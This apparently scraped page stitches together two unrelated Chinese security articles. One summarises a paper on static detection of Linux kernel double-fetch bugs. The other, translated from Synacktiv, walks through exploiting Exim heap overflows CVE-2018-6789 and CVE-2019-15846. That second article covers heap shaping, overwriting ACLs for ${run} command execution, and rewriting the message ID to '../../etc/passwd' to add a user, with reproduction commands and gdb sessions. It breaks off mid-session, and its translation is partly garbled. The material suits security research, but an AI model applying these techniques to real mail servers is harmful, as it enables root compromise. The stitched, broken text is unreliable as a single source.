## 前言
之前在本系列的第二篇文章：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")中和大家分享了double fetch漏洞原理和2013年Project
Zero的j00ru开源的用bochs的插桩API实现的挖掘内核double
fetch漏洞的工具bochspwn(<https://github.com/googleprojectzero/bochspwn>)。USENIX
Security 2017上的一篇论文采用静态模式匹配的方法从Linux内核中发掘了6个未知的double
fetch漏洞，这篇文章就和大家分享这篇论文中的内容。
源代码：<https://github.com/UCL-CREST/doublefetch>
论文地址：<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf>
## 整体架构
github上的源代码含有三个文件夹。
* text-filter：文本过滤方法的源代码
* cocci：基于coccinelle引擎的模式匹配方法的源代码
* auto_fix：基于coccinelle引擎的double fetch漏洞修补工具的源代码
重点是cocci目录。cocci目录下有testdir，startcocci_linux.sh，startcocci_freebsd.sh，pattern_match_linux.cocci，pattern_match_freebsd.cocci，copy_files.py这些文件或目录。
* testdir：保存要解析的文件的目录
* startcocci_linux.sh\startcocci_freebsd.sh：启动解析的shell脚本，这个脚本将删除上次解析剩下的文件，并调用相应的cocci脚本(pattern_match_linux.cocci\pattern_match_fressbsd.cocci)来解析源文件
* pattern_match_linux.cocci\pattern_match_fressbsd.cocci：coccinelle脚本文件，它存储了我们为模式匹配添加的规则，日志记录到result.txt中
* copy_files.py：将可能存在漏洞的源代码文件复制到outcome目录，以便于人工分析
先apt-get install
coccinelle安装coccinelle，然后将待解析的文件拷贝到testdir目录，运行startcocci_linux.sh或者startcocci_freebsd.sh，检查result.txt中的结果，在outcome目录下查看对应的源代码文件。
## double fetch漏洞分类
在论文中，作者把double fetch漏洞分为3类：type selection，size checking和shallow copy。
将数据从用户态拷贝到内核态通常只需要调用一次转移函数。然而，如果数据含有可变的类型或者长度时就没有这么简单了。这样的数据通常由header和body两个部分组成。在接下来的部分中我们把这样的数据称为消息(message)。在拷贝消息时很容易产生double
fetch漏洞。
### type selection
当消息头用于类型选择时，可能会出现double
fetch。在此场景中，一般会首先获取消息头来识别消息类型，然后根据消息类型获取和处理整个消息。在linux内核中，一个驱动程序中的一个函数被设计成使用switch语句结构来处理多种类型的消息是非常常见的。第一次fetch的结果(消息类型)用于switch语句的条件，在switch语句的每个case中消息都通过第二次fetch复制到特定类型的本地缓冲区中进行处理。
我们来看linux内核中的一个例子。cxgb_extension_ioctl函数从指向用户态的指针useraddr中获取消息类型cmd，在switch中根据cmd将整个消息拷贝到对应的结构体中。在获取整个消息时消息类型会被第二次获取(第2149/2292/2355行)。不过因为在接下来的代码中没有用到消息类型，所以这里并不会造成漏洞。
### size checking
当消息头用于标识消息大小时，可能会出现double
fetch。在此场景中，一般会首先将消息头复制到内核中获取消息的大小，检查它的有效性，并分配一个必要大小的本地缓冲区，然后将整个消息(也包括消息头)复制到分配的缓冲区中。如果只使用第一次获取的消息的大小而不从第二次获取的消息中检索就不会产生漏洞。但是，如果从第二次获取的消息中检索大小并使用它就有可能产生漏洞，因为恶意用户可能已经更改了它。
我们来看linux内核中的一个例子(CVE-2016-6480)。ioctl_send_fib函数在第81行和第116行通过arg指针两次获取了用户态的数据。第一次用来计算缓冲区的大小，第二次通过计算出的大小获取整个消息。在获取整个消息之后使用了消息头中的多个元素(第121行和第129行)，还使用了消息头中的Size(第130行)，用户可能在两次fetch之间修改了Size的值。
### shallow copy
当将用户空间中的缓冲区(第一个缓冲区)复制到内核空间，并且该缓冲区包含指向用户空间中的另一个缓冲区(第二个缓冲区)的指针时，就会发生用户空间和内核空间之间的浅拷贝。传递函数只复制第一个缓冲区，而第二个缓冲区必须通过第二次调用传递函数来复制。有时需要将数据从用户空间复制到内核空间，对数据进行操作，然后将数据复制回用户空间。此类数据通常包含在用户空间中的第二个缓冲区中，包含其它数据的用户空间中的第一个缓冲区中的指针指向它。使用只执行浅拷贝的传递函数执行深拷贝的复杂性可能会导致程序员引入漏洞。
我们来看linux内核中的一个例子(CVE-2016-6130)。sclp_ctl_ioctl_sccb函数在第61行将user_area指向的数据拷贝到ctl_sccb中，然后在第68行将ctl_sccb.sccb指向的消息头拷贝到sccb。经过第72行的检查之后在第74行将整个消息基于sccb->length拷贝到sccb。最后在第81行拷贝回用户态。第74行和第81行虽然都用的是sccb->length，但是第81行的sccb->length来源于第74行的拷贝。在第68行到第74行之间用户可能修改了sccb->length的值。不过在这里触发这个漏洞只会导致系统调用在第82行结束。
## 匹配模式
如图所示，论文一共实现了基于coccinelle引擎的6个double
fetch检测的规则。感兴趣的话可以查看pattern_match_linux.cocci文件查看这些规则。Rule 0就是最基本的basic
pattern，匹配对同一地址的两次读取。还有其它5个refined
pattern提高精度。图中的trans_func函数表示所有从用户态获取数据的转移函数：get_user，__get_user，copy_from_user，__copy_from_user。
### no pointer change
检测double
fetch的最关键规则是在两次fetch操作之间保持用户指针不变。否则每次获取不同的数据而不是重复获取相同的数据可能会导致误报。从图中的规则1可以看出，这种更改可能包括自增、添加偏移量或分配另一个值的情况以及相应的减法情况。
### pointer aliasing
指针混用在double
fetch中很常见。在某些情况下，用户指针被分配给另一个指针，因为原始指针可能被更改(例如在循环中逐段处理长消息)。使用两个指针更方便，一个用于检查数据，另一个用于使用数据。从图中的规则2可以看出，这种赋值可能出现在函数的开头，也可能出现在两次fetch之间。
### explicit type conversion
当内核从用户空间获取数据时，显式指针类型转换被广泛使用。例如，在size
checking场景中，消息指针将转换为消息头指针，以便在第一次获取消息头，然后在第二次获取中再次用作消息指针。从图中的规则3可以看出，这两个源指针中的任何一个都可能涉及类型转换。
### combination of element fetch and pointer fetch
在某些情况下，用户指针既可以获取整个数据结构，也可以通过将指针解引用到数据结构的元素来只获取一部分。例如，在size
checking场景中，通过`get_user(len,ptr->len)`使用用户态指针获取消息长度，然后通过`copy_from_user(msg,ptr,len)`复制整个消息。两次fetch没有使用完全相同的指针，但是覆盖语义上相同的值。
### loop involvement
coccinelle是路径敏感的，当一个循环出现在代码中时，循环中的一个传递函数调用将被报告为两个调用，这可能导致误报。此外，从图中的规则5可以看出，当一个循环中有两个fetch时，上一次迭代的第二个fetch和下一次迭代的第一个fetch将作为double
fetch匹配。这种情况应该作为误报删除，因为这两次fetch将得到不同的值。此外，使用数组在循环中复制不同值的情况也会导致误报。
## 如何避免double fetch漏洞
论文作者最后也给出了几条避免double fetch漏洞的建议。
### 不要拷贝两次消息头
如果在第二次fetch的时候拷贝消息中除了消息头的内容而不是整个消息就不会产生漏洞了。
### 使用相同的值
由于攻击者可以在两次fetch之间更改数据，所以当两次fetch都使用相同的数据时就会引发漏洞。如果开发人员只使用其中一次fetch获取的数据，就可以避免问题。大多数double
fetch最终都不会导致漏洞，因为它们通常只使用第一次fetch获取的数据。
### 覆盖数据
还有一些情况需要获取数据并使用两次，在这种情况下消除漏洞的一种方法是用第一次获取的头部覆盖第二次获取的头部。即使攻击者在两次fetch之间更改了头部，更改也不会产生影响。
### 比较数据
在使用前比较第一次fetch得到的数据和第二次fetch得到的数据。如果数据不相同，则必须中止操作。
### 同步fetch
可以使用锁或临界区这样的同步方法来保证两个不可分割操作的原子性。只要我们保证在两次fetch之间不能更改获取的值，那么就不会出现错误。但是，由于在关键部分引入了同步，这种方法会对内核造成性能损失。
## 总结
在IEEE S&P 2018的一篇论文Precise and Scalable Detection of Double-Fetch Bugs in OS
Kernels中作者开发了一个名为DEADLINE的工具，同样基于静态方式从Linux/FreeBSD内核中发掘了多个未知的double
fetch漏洞。首先使用静态分析收集内核代码中的multi-read操作，并对每一组有关联的multi-read进行符号化执行检查(符号化执行在LLVM
IR层面上进行)，确定是否满足double-fetch的形式化定义，一定程度上减少了本文中的工具带来的大量误报的情况。
源代码：<https://github.com/sslab-gatech/deadline>
论文地址：<https://taesoo.kim/pubs/2018/xu:deadline.pdf>
论文解读：<https://zhuanlan.zhihu.com/p/59169689>
有兴趣的读者可以自行查阅。
因为内核源码的变动和人工分析可能存在的疏忽，大家现在拿着这些工具去扫内核源码可能还是会扫出来一些东西的，有兴趣的读者可以自己尝试。不过我审计了一遍扫描的结果，没有发现什么有意思的问题。
当然静态匹配的方法也不仅仅只能挖掘double fetch漏洞，如果发现了一个漏洞我们可以尝试用静态匹配的方法查找还有没有类似的漏洞模式。比如在[case
study: Searching for a vulnerability pattern in the Linux
kernel](https://a13xp0p0v.github.io/2019/08/10/cfu.html "case study: Searching
for a vulnerability pattern in the Linux kernel")这篇博客中作者首先通过syzkaller
fuzz出了一个调用copy_from_user函数时目的地址和源地址写反了的bug，然后作者先后尝试使用Semmle
QL和coccinelle在内核中搜索同样的漏洞模式，最后找到了两个类似的漏洞。
之前大家分享的bochspwn采用动态方式挖掘double fetch漏洞，而这篇文章和大家分享的工具采用静态方式挖掘double
fetch漏洞。简单总结一下两种方式的优劣。
1.动态挖掘由于已经导致了内核崩溃，所以大概率可以复现写出POC；静态匹配或多或少存在误报的情况，需要花费大量时间进行人工分析，并且不一定可以复现写出POC。在这种情况下，我们不一定能说服开发者修复问题。DEADLINE发现的一个double
fetch就因为开发者认为虽然存在这样的条件竞争但是实际上并不能造成什么危害所以没有修复。从这一点上看动态挖掘占优势。
2.静态匹配只适用于开源系统，并且也不能发现编译优化等更深层次的原因导致的double
fetch漏洞；而动态挖掘适用于开源系统和非开源系统，能够发现编译优化等深层次的原因导致的double
fetch漏洞。但是动态挖掘需要用到其它fuzzer辅助提高代码覆盖率，而静态匹配能够扫描所有的源代码。从这一点上看两者各有优劣。
大家可以再思考一下windows系统的double
fetch漏洞挖掘就真的不可以采用静态匹配的方法了么？在IDA中加载符号文件F5也能得到大致可以阅读的代码，而windows系统的double
fetch漏洞也是存在一定模式的。当然这只是我一个突发奇想，大家有兴趣可以朝这个方向探索。 | 社区文章 |
文章分类：二进制漏洞利用分析
翻译来源：[Scraps of Notes on Exploiting Exim Vulnerabilities
(synacktiv.com)](https://www.synacktiv.com/publications/scraps-of-notes-on-exploiting-exim-vulnerabilities.html)
# 【二进制分析】利用邮件传输代理漏洞到RCE的攻击方法
> 最近，Qualys公司发布了一份关于EXIM
> MTA的严重漏洞：CVE-2019-15846。在他们的漏洞利用中，他们可以用PoC授权root权限。之后出现了类似危言耸听的文章，声称会有百万的EXIM邮件传输代理服务会遭受攻击。
Exim是基于GPL协议的开放源代码软件，由英国剑桥大学的Philip Hazel开发，目前最新版4.24。Exim是一个MTA（Message
Transfer Agent），即消息传输代理，负责邮件的路由、转发和投递。Exim被作者设计成可运行于绝大多数的类Unix系统上，包括
Solaris，AIX，Linux等。
Exim有许多功能，包括发送地址重写、IPV6支持、TLS/SSL支持、正则表达式（PCRE）、列表与匹配、系统级过滤器（system wide
filter），SMTP批处理。
在2018年，我们团队从[Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully
Mitigations Bypassing | DEVCORE](https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/)学习了另一个关于EXIM的漏洞CVE2018-6789，开发了一个PoC，但并未发布公开。所以，我们决定再一次开发PoC，为此次漏洞。在这篇文章中，我们从攻击视角来呈现了Exim的全貌以及相关概述。我们将会展示这两个漏洞在PoC中的利用方法。
## 1、EXIM 如何执行的流程
在Exim邮件传输代理中有三个主要步骤：
* 守护进程deamon坚挺入口的SMTP连接。然后守护进程会为每一个新的SMTP建立一个新的接收进程。守护进程通常可以使用 -q 选项来开启，在这种情况下，每个指定的时间然后运行一个队列中的进程。（比如 -q 30 表示每隔30分钟开启一个队列运行进程。）
* 接收会接收一个入口消息，并存储在spool目录下（`/var/spool/exim/input`）。一个小溪由两个选项构成：-H （消息信封）和-D（消息体）。除非有其他要求，一般情况下接收进程会通过生成新进程来启动交付消息。如果选项 queue_only 是开启的，那么消息会被放在spool目录，而不会尝试自动发送传递它。
* 队列运行进程开始遍历spool目录下的发送消息文件，然后为每个消息文件启动一个传递发送进程。
* 传递发送进程一般执行远程或本地交付，这个过程中会以root的权限运行，这会使它成为一个有趣的攻击目标。
## 2、关于 EXIM 池的分配器
Exim保留了几个分配池。只要进程存在，POOL_PERM 就会被分配，包括存储了配置项和ACL控制。POOL_MAIN
属于动态分配，所以可以被释放。最后，还包含一个 POOL_SEARCH，专门用于查询存储内容。
一个Pool传输代理池就是一个链表（如下），它们可以被动态分配。最小的存储大小storeblock是0x2000。当Exim请求一定的内存需要时，它就会检查在当前block块中是否有足够的内存空间能够填充请求的大小。无论当前block块还剩下多少空间，即使不够也会分配新的
storeblock存储块。
Exim 传输池的管理是由 stroe_in.c 定义的：
* `store_malloc` and `store_free`：malloc和free的包装库。
* `store_get`：返回当前存储块 storeblock的指针，如何在分配空间中还有足够大小的话，那么一个新的存储空间会被分配到这个指针中。
* `store_reset`：设置 yield 指针指向存储指针重置点，并且释放后续的存储空间。在后面我们可以看到，这个函数在攻击过程中是多么的有用。
* `store_release`：该函数充当再分配函数功能。
* `store_extend`：如果处于分配空间中的数据需要扩展，那么这个函数会起作用，可以避免再分配和复制等繁琐工作。
## 3、基于堆的EXIM溢出漏洞
假设，在EXIM中包含一个基于堆的溢出漏洞，可以根据 [@mehqq_'s
blogpost](https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/) 的文章中的技术来获得代码执行。
### ACLs访问控制列表
ACLs是一个在配置文件中定义的访问控制列表，通常被是用来控制Exim接受一些SMTP协议的行为。可以根据 acl_smtp_mail
选项来定义每次接收MAIL_FROM 命令的具体的过滤行为。当Exim收到`${run{cmd}}` 命令时，可以对选项进行扩展和定义。
ACLs控制列表是通过一个全局指针来定义的，指针的数据从POOL_PERM中加载到storelock中。覆盖ACls命令会导致代码执行漏洞。
### 从堆溢出漏洞到UAF
现在的目的是覆盖一个已经分配存储空间的下一个指针，然后指向包含ACL的存储空间中。如果之后 storeblock链可以被重置（通过发送一个新的
HELO命令），那么包含ACL的存储空间会被释放，然后我们可以发送新的命令获取它。
这个场景需要5个阶段：
1.整形heap堆，以便于我们可以获取两处连续的存储空间 storeblock，存储空间（从有漏洞的那个）到目标存储空间`storeblock`。
2.从新释放的数据块中溢出，并且打断已经分配存储空间storeblock
的下一个指针，以便于可以将指针指向包含ACL的存储空间storeblock。请记住，这需要合适的爆破操作，因为存储空间（劫持的storeblock块和ACL
存储空间块）都位于heap堆中。
3.通过发送HELO命令来释放包含ACLs的存储块storeblock：整个分配空间链都会被释放。
4.他哦难过发送多个AUTH命令获取返回的ACL分配空间storeblock，覆写`acl_smtp_mail`内容。
5.最后通过发送MAIL_FROM命令触发代码执行漏洞。
## 4、CVE-2018-6789漏洞利用
漏洞出现在base64.c文件的b64decode函数中。其中base64解码函数错误的计算了存储解码数据缓冲区的长度，导致一个基于堆的溢出漏洞。这里可以使用经典的技术来覆写这块数据块，并需要通过扩展大小（
[classic techniques](https://mtalbi.github.io/heap-based/overflow,/exploits/2017/09/16/the-macabre-dance-of-memory-chunks.html)损坏数据块chunk区域大小）。
在这一篇文章中详细的介绍了如何攻击的方法，通过在这篇文章中编写了PoC[@mehqq_](https://twitter.com/mehqq_)，所以我们不会详细的陈述所有的步骤。
我们会介绍关于Exim的特性，这影响到如何使用和塑造heap堆结构。我们的目标是在数据块size大小损坏之前，到达下面的堆形态。
* 通过发送未定义命令和HELO命令两次来创建工作空间。此时，在错误报告的时候，为识别到的命令会触发存储空间分配，而HELO命令会重置之前分配的存储空间storeblock链。注意，Exim限制了未知命令的数量为3个。
* 顶部的chunk块正在使用AUTH命令。
一旦上面的状态到达，我们就会通过发送`AUTH CRAM-MD5`
命令来扩大位于工作区域的空间chunk块的大小触发溢出漏洞。然后，我们强制中间的chunk块释放，方法是发送一个HELO命令，后面分一个无效的名称（`HELO
a+`），可以恢复整个存储区域storeblock。这样就允许提前终端HELO命令处理代码，避免调用`smtp_reset`。
最后，我们发送 AUTH命令，比先前释放的chunk数据块更大，顶部的chunk是重叠的。
从这里，可以按照上面的3-5的步骤来实施攻击，exp攻击代码放在[Github](https://github.com/synacktiv/Exim-CVE-2018-6789)。
## 5、CVE-2019-15846 漏洞利用
Exim 在4.92.1版本之前，容易受到基于堆的溢出漏洞攻击，在CVE-2019-15846种有Qualys分析，披露于2019-9-6。
漏洞代码位于调用string_unprinting
时的string_interpret_escape中，并且修复记录可以在[commit](https://git.exim.org/exim.git/commit/2600301ba6dbac5c9d640c87007a07ee6dcea1f4)中查看到详细信息。
diff --git a/src/src/string.c b/src/src/string.c
index 5e48b445c..c6549bf93 100644
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -224,6 +224,8 @@ interpreted in strings.
Arguments:
pp points a pointer to the initiating "\" in the string;
the pointer gets updated to point to the final character
+ If the backslash is the last character in the string, it
+ is not interpreted.
Returns: the value of the character escape
*/
@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789abcdef";
int ch;
const uschar *p = *pp;
ch = *(++p);
+if (ch == '\0') return **pp;
if (isdigit(ch) && ch != '8' && ch != '9')
{
ch -= '0';
顾名思义，`string_interpret_escape` 的目的是转义字符序列。例如，`\62`会被转义成`b`。
`string_unprinting` 使用了这个函数，目的是转义输入字符转换非转义字符。首先使用Exim内存空间分配器分配第一个输出字符。
len = Ustrlen(s) + 1;
ss = store_get(len);
漏洞存储在 `string_unprinting`
读取输入字符串时，直到读到了一个NULL字节。此时调用`string_interpret_escaped`时，它的指针也再次向前移动，随之
`string_unprinting` 也再次移动。然后，它会跳过反斜杠的字符，然后复制的结果会突破输出缓冲区的限制。
while (*p)
{
if (*p == '\\')
{
*q++ = string_interpret_escape((const uschar **)&p);
p++;
}
[...]
}
这张图阐述了基于堆的溢出：
注意，此时NULL字节也会被复制到缓冲区中，计时她并没有停止处理输入缓冲区。
为了利用这个漏洞，这两个缓冲区（输入和输出区）的数据必须对齐，目的是确保除了输入缓冲区的NULL字节以外，中间没有其他NULL字节。跟准确的说，需要store_get中的数据对齐到1个storeblock存储空间中的8字节大小的边界上。
最后，需要两个缓冲区属于同一个存储块sotreblock，目的是溢出边界上的字节。根据调用
`string_unprinting`时堆的形状，输入缓冲区的大小可能非常有限。
然而结果是，可以被覆写的数据是没有限制的。read指针会读取写入的所有数据。为了避免在原来的NULL空字节的地方停止，可以在前面加入更多的反斜杠，结果可以达到输出到缓冲区的任何地址。
此外还可以通过 `\x00`编码空字节NULL来覆写他们。
### 漏洞利用
为了利用该漏洞，Qualys公司声称他们使用了后面地带有反斜杠的特制的SNI。SNI处于Exim假脱机文件中，这个文件是由Exim接收进程写入，由发送进程读取。当Exim发送进程读取到假脱机文件中的spool_read_header时，它会调用漏洞函数
`string_unprinting`。
每一个Exim 邮件代理传输的进程都包含一个ID属性，这个ID属性常常被用在假脱机文件的文件名，日志文件名中等等。
Qualys声称他们可以攻击基于堆的溢出漏洞，覆写用于创建日志文件名的message
ID。日志文件是由发送人的地址填充的。通过覆写消息的ID，类似使用`../../../../../../etc/passwd`，就可以实现添加一个新用户到目标系统中。
我们团队开始对漏洞函数的攻击路径进行更为深入的分析，像前面分析的，使用到了Exim中spool头文件解析。头文件存储在`/var/spool/exim4/input/`。每一个接收邮件都会生成两个假脱机文件，每一个都在message
Id之后进行命名，第一个消息体使用-D来添加。第二个使用-H来添加各种各样的SNI元数据。`spool_read_header`
spool_read_header 函数会多次调用。唯一存在漏洞的路径是当调用 `deliver_message`时。这个路径既可以在`exim
-Mc`，也可以在`exim -q`之后使用到。第一个对应于接收时的直接消息传递，第二个对应于队列运行进程调用后台任务时。
为了攻击这个漏洞，我们把目标定在了队列运行进程。因为在这个进程中，exim -q时，message ID存储在一个堆中，当发送程序使用`exim -Mc`
，message存储在栈中。
问题是，这两个晋城市Exim守护进程的fork和exec，除了读取spool假脱机文件以外没有任何交互，所以比利用CVE-2018-6789更难。
### PoC漏洞开发
为了复现这个漏洞，需要安装一个老版本的debian 9，就像在发布修复版本之前在快照库中保存的那样。
root@strech:~# cat /etc/apt/sources.list
deb http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
deb-src http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
注意自从2017年，GNUTLS添加了新的SNI值检查。那就是说，当Exim连接到GUNTLS的版本大于3.6.0时，漏洞不再可被利用。
为了简单的测试一下漏洞，需要创建两个文件，手动运行Exim的队列。
cp 1i7Jgy-0002dD-Pb-D /var/spool/exim4/1i7Jgy-0002dD-Pb-D
cp 1i7Jgy-0002dD-Pb-H /var/spool/exim4/1i7Jgy-0002dD-Pb-H
/usr/sbin/exim4 -q
然后，在 `string_unprinting` 下入断点，可能使得：
* 确保能够出发溢出缓冲区
* 在堆溢出时的形态
* 查找堆中的message ID
gdb --args /usr/sbin/exim4 -q
gef➤ set follow-fork-mode child
gef➤ b string_unprinting
Breakpoint 1 at 0x5600d5924540: file string.c, line 355.
gef➤ r
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x562b1a097790 "abcdef\\") at string.c:355
gef➤ n
[... step until interesting stuff ...]
gef➤ p s
$1 = (uschar *) 0x562b1a097790 "abcdef\\"
gef➤ p len
$2 = 0x8
gef➤ p ss
$4 = (uschar *) 0x562b1a097798 ""
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x562b1a0975e0, size=0x2020, flags=PREV_INUSE)
[0x0000562b1a0975e0 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x562b1a099600, size=0x1010, flags=PREV_INUSE)
[0x0000562b1a099600 31 69 37 4a 67 79 2d 30 30 30 32 64 44 2d 50 62 1i7Jgy-0002dD-Pb]
Chunk(addr=0x562b1a09a610, size=0x1fa00, flags=PREV_INUSE) ← top chunk
输入和输出缓冲都在0x2020字节的chunk中。后面的chunk（0x1010）在当读取头文件时开始被分配。没有明显可被用于代码执行的地方。 fgets
现在我们可以查找message ID：
gef➤ grep 1i7Jgy-0002dD-Pb
[+] Searching '1i7Jgy-0002dD-Pb' in memory
[+] In (0x562b1a009000-0x562b1a00d000), permission=rw- 0x562b1a00abb1 - 0x562b1a00abd6 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a00ae92 - 0x562b1a00aea2 → "1i7Jgy-0002dD-Pb"
[+] In '[heap]'(0x562b1a05a000-0x562b1a0ba000), permission=rw- 0x562b1a097609 - 0x562b1a097619 → "1i7Jgy-0002dD-Pb"
0x562b1a097641 - 0x562b1a097653 → "1i7Jgy-0002dD-Pb-H"
0x562b1a097663 - 0x562b1a097688 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a0976a9 - 0x562b1a0976bb → "1i7Jgy-0002dD-Pb-D"
0x562b1a0976c0 - 0x562b1a0976d2 → "1i7Jgy-0002dD-Pb-H"
0x562b1a0976f1 - 0x562b1a097703 → "1i7Jgy-0002dD-Pb-H"
0x562b1a099600 - 0x562b1a099637 → "1i7Jgy-0002dD-Pb-H\nDebian-exim 103 114\n<redacted[...]"
0x562b1a099c16 - 0x562b1a099c4d → "1i7Jgy-0002dD-Pb\n\tfor [email protected]; Mon[...]"
0x562b1a099c8d - 0x562b1a099cc4 → "1i7Jgy-0002dD-Pb@redacted>\n022F From: redacted@re[...]"
[+] In '[stack]'(0x7fff8da2e000-0x7fff8dab0000), permission=rw- 0x7fff8da65ae9 - 0x7fff8da65afb → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65bb0 - 0x7fff8da65bc2 → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65eb9 - 0x7fff8da65ecb → "1i7Jgy-0002dD-Pb-H"
此时，唯一可用于覆写文件的消息ID在堆中，但在输出缓冲区溢出时，不能到达。
最后，发现了确保溢出正常执行。
gef➤ fin
Run till exit from #0 string_unprinting (s=0x5600d6a60790 "abcdef\\") at string.c:366
gef➤ x/16bx 0x5600d6a60798
0x5600d6a60798: 0x61 0x62 0x63 0x64 0x65 0x66 0x00 0x61
0x5600d6a607a0: 0x62 0x63 0x64 0x65 0x66 0x00 0x00 0x00
我们可以看到输入的8字符被复制了2次。
### 形成堆的利用地址
为了找到可行的利用方法，需要在队列运行器到达漏洞时堆的详细状态分析。主要的想法是整形堆的形状以便于输入缓冲区和输出缓冲区都被分配在先前的释放的chunk中，实现攻击。目的是在缓冲区溢出时，可以到达message
ID。要这样做，释放的chunk块`STORE_BLOCK_SIZE`最小分配空间值是0x2000字节。
big_buffer
是用于存储临时的假脱机文件的缓冲区，是一个很好的目标。如果碰上它被重新分配的话，那么堆中的相当一个大的chunk块将被释放。但不碰巧，我们没有遇上，因为在exim的处理再分配的机制中不会释放旧的文件。`big_buffer`
while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
&& big_buffer[len-1] != '\n'
)
{ /* buffer not big enough for line; certs make this possible */
uschar * buf;
if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
buf = store_get_perm(big_buffer_size *= 2);
memcpy(buf, big_buffer, --len);
big_buffer = buf;
if (Ufgets(big_buffer+len, big_buffer_size-len, f) == NULL)
goto SPOOL_READ_ERROR;
}
当队列运行进程遍历spool文件时，会分配一个大小为0x8030的chunk内部缓冲区，当释放的时候就会调用。`queue_get_spool_lis`
因此，如果能够确保有足够的文件能够强制分配，那么就可以在堆中创建一个gap。`storeblock/var/spool/exim4/input/`
仍然可以找到剩余的空间大小。`current_block[0]` `yield_length[0]`
gef➤ b opendir
Breakpoint 1 at 0x55b87b85e468
gef➤ c
Continuing.
Breakpoint 1, 0x00007f81aebc49a0 in opendir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ p yield_length[0]
$1 = 0x1ff0
需要至少创建250个spool脱机文件，就能够足够确保测试场景中创建我们的gap。间隔之后的数据会恰好是用于创建日志文件的message ID。
gef➤ b closedir
Breakpoint 1 at 0x55dcb4d13898
gef➤ c
Continuing.
Breakpoint 1, 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ fin
Run till exit from #0 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55dcb6d6d5e0, size=0x2020, flags=PREV_INUSE)
[0x000055dcb6d6d5e0 40 76 d7 b6 dc 55 00 00 00 20 00 00 00 00 00 00 @v...U... ......]
Chunk(addr=0x55dcb6d6f600, size=0x8040, flags=PREV_INUSE)
[0x000055dcb6d6f600 58 2b 2b b0 b8 7f 00 00 58 2b 2b b0 b8 7f 00 00 X++.....X++.....]
Chunk(addr=0x55dcb6d77640, size=0x2020, flags=)
[0x000055dcb6d77640 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55dcb6d79660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
为了完成攻击漏洞，需要确保SNI分配gap，需要我们填充一些东西，以便再分配SNI时可以得到一个新的存储空间。`current_block[0]`
断入并计算剩余空间。`string_unprinting` `current_block[0]`
gef➤ b string_unprinting
Breakpoint 1 at 0x55d401799540: file string.c, line 355.
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 3, string_unprinting (s=0x55d4039d6990 'a' <repeats 3194 times>, "\\") at string.c:355
gef➤ p yield_length[0]
$1 = 0x1e68
同时在SNI之前做了一些新的分配，最有趣的是 `helo_name`
int
spool_read_header(uschar *name, BOOL read_headers, BOOL subdir_set)
{
[... skip uninteresting lines ...]
else if (Ustrncmp(p, "elo_name", 8) == 0)
sender_helo_name = string_copy(big_buffer + 11);
填充数据现在变得很容易，但是要么新分配空间的数据需要有足够的空间存储输入SNI和输出SNI，要么没有空间存储任何一个。因此可以选择一个大大大大于默认大小的空间，很好的解决办法是：`current_block[0]
helo_name`存储块。`helo_name`
注意，队列运行进程会根据目标ID分配多个小的花冲去，这些缓冲区都放在 `helo_name`之前。
/* Check that the message still exists */
message_subdir[0] = f->dir_uschar;
if (Ustat(spool_fname(US"input", message_subdir, f->text, US""), &statbuf) < 0)
continue;
目标是获得像下面这样的样子：
下面是必须了解的总结：`helo_name`
* 比`current_block[0]`剩余空间更大
* 小于gap减去两个SNI的大小
* 存储块是满的，包含应该为了确保两个SNI都包含helo_name相连
* 确保SNI是连续的，在chunk的顶部，以便于溢出不会覆写其他的数据
* 小于0x4000字节，由于big_buffer 分配的错误存在。
注意利用漏洞必须对覆写块中的message
ID有效。是因为每次循环过程都会改变堆，所以知道何时发送重写的ID很重要，如果没有设置，会以伪随机的方式列出假脱机文件。然后，覆写的ID要么出现在第一个，要么出现在最后一个。`queue_run`
`queue_get_spool_lis` `tqueue_run_in_order`
/* Handle the creation of a randomized list. The first item becomes both
the top and bottom of the list. Subsequent items are inserted either at
the top or the bottom, randomly. This is, I argue, faster than doing a
sort by allocating a random number to each item, and it also saves having
to store the number with each item. */
选择正确的长度会得到下面堆的形状：`helo_name`
gef➤ b closedir
Breakpoint 1 at 0x556862b9b898
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $ID = ((char *)current_block[0]) + 0x19
>c
>end
gef➤ b queue.c:645 if (int)strcmp(f->text, $ID) == 0
Breakpoint 2 at 0x564f9a43418a: file queue.c, line 647.
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set follow-fork-mode child
>b string_unprinting
>c
>end
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x558589a70660 "abcdef\\") at string.c:355
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55ee971d75e0, size=0x2020, flags=PREV_INUSE)
[0x000055ee971d75e0 40 16 1e 97 ee 55 00 00 00 20 00 00 00 00 00 00 @....U... ......]
Chunk(addr=0x55ee971d9600, size=0x2020, flags=PREV_INUSE)
